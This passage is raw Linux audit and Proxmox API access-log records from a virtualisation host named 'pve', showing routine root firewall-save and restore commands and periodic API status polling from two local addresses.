comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475473,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.473:65781): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964395517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.517:60837): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58409 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965910769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.385:64458): arch=c000003e syscall=59 success=yes exit=0 a0=5df2f40e8ac8 a1=7ffcd5799f50 a2=5df2ff6a3680 a3=5df2f40cc24e items=2 ppid=61926 pid=61928 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475473,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.473:65780): argc=1 a0=\"date\""} {"@timestamp":1781964395513,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.513:60836): arch=c000003e syscall=59 success=yes exit=0 a0=6219c2fc0b60 a1=6219c2fcca30 a2=6219c2f9a680 a3=5 items=2 ppid=58402 pid=58408 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965909773,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965165385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.385:64457): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcd5799f10 a1=5df2ff6c51c0 a2=5df2ff6a3680 a3=5 items=2 ppid=61926 pid=61927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475463,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.463:65778): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964395510,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.510:60835): arch=c000003e syscall=59 success=yes exit=0 a0=621982f1cac8 a1=7ffc04e71db0 a2=6219c2f9a680 a3=621982f0024e items=2 ppid=58402 pid=58404 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965909773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:48 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781965165380,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.380:64455): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475458,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.458:65777): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964395509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.509:60834): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc04e71d70 a1=6219c2fbc200 a2=6219c2f9a680 a3=5 items=2 ppid=58402 pid=58403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965908764,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965165372,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.372:64454): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61925 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475451,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.451:65776): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964395505,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.505:60832): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58402 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965908764,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965165366,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.366:64453): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61924 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475443,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.443:65775): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964395499,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.499:60831): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58401 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965908764,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965165356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.356:64452): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61923 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475437,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.437:65774): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964395493,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.493:60830): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58400 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965907757,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:46 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 909"} {"@timestamp":1781965165350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.350:64451): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61922 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475431,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.431:65772): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964395488,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.488:60829): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b5aa0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58399 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965906735,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965165348,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.348:64450): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6254e1ce9740 items=0 ppid=1156 pid=61921 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965475426,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.426:65771): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964395482,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.482:60828): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ec8b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58398 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965906735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965165344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.344:64449): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0eb380 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61921 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475421,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.421:65770): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964395475,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.475:60827): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148a20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58397 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905732,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965165339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.339:64448): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1382e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61920 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475415,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.415:65769): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964394761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964394.761:60826): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c62f0 a1=64f8d73deb30 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58394 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905732,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781965165334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.334:64447): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc143690 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61919 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475410,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.410:65768): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964394737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964394.737:60825): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b1160 a1=64f8d73ee430 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58393 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965904706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 518"} {"@timestamp":1781965165328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.328:64446): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0de420 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61918 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475405,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.405:65767): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964394209,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964394.209:60824): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965904706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965165322,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.322:64445): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc143690 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61917 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475399,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.399:65766): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964394202,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964394.202:60821): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965903730,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781965165316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.316:64444): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb7418910 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61916 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475393,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.393:65765): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964389183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964389.183:60818): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965903730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781965165309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.309:64443): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61915 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475388,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.388:65764): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964389162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964389.162:60815): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965902698,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965165300,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.300:64442): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475380,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.380:65763): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964385462,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.462:60812): arch=c000003e syscall=59 success=yes exit=0 a0=5b169ddc3b60 a1=5b169ddcfa30 a2=5b169dd9d680 a3=5 items=2 ppid=58382 pid=58388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965902698,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965165298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.298:64441): arch=c000003e syscall=59 success=yes exit=0 a0=6543ec3700a0 a1=6543ec36ce20 a2=6543ec34e680 a3=5 items=2 ppid=61907 pid=61913 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475380,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.380:65762): argc=1 a0=\"date\""} {"@timestamp":1781964385459,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.459:60811): arch=c000003e syscall=59 success=yes exit=0 a0=5b167ecebac8 a1=7fff9c58e230 a2=5b169dd9d680 a3=5b167eccf24e items=2 ppid=58382 pid=58384 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965901300,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781965165292,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.292:64440): arch=c000003e syscall=59 success=yes exit=0 a0=6543c4176ac8 a1=7ffc59396630 a2=6543ec34e680 a3=6543c415a24e items=2 ppid=61907 pid=61909 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475375,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.375:65760): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964385457,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.457:60810): arch=c000003e syscall=59 success=yes exit=0 a0=7fff9c58e1f0 a1=5b169ddbf200 a2=5b169dd9d680 a3=5 items=2 ppid=58382 pid=58383 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965901300,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781965165290,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.290:64439): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc593965f0 a1=6543ec355310 a2=6543ec34e680 a3=5 items=2 ppid=61907 pid=61908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475367,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.367:65759): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964385453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.453:60808): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58382 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965899808,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 520"} {"@timestamp":1781965165286,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.286:64437): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61907 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475361,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.361:65758): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964385446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.446:60807): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58381 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965899808,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:31:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965165278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.278:64436): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475355,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.355:65757): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964385440,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.440:60806): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58380 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965899808,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:31:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965165270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965165.270:64435): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61905 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475349,"@rawstring":"node=pve type=EXECVE msg=audit(1781965475.349:65756): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964385433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.433:60805): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58379 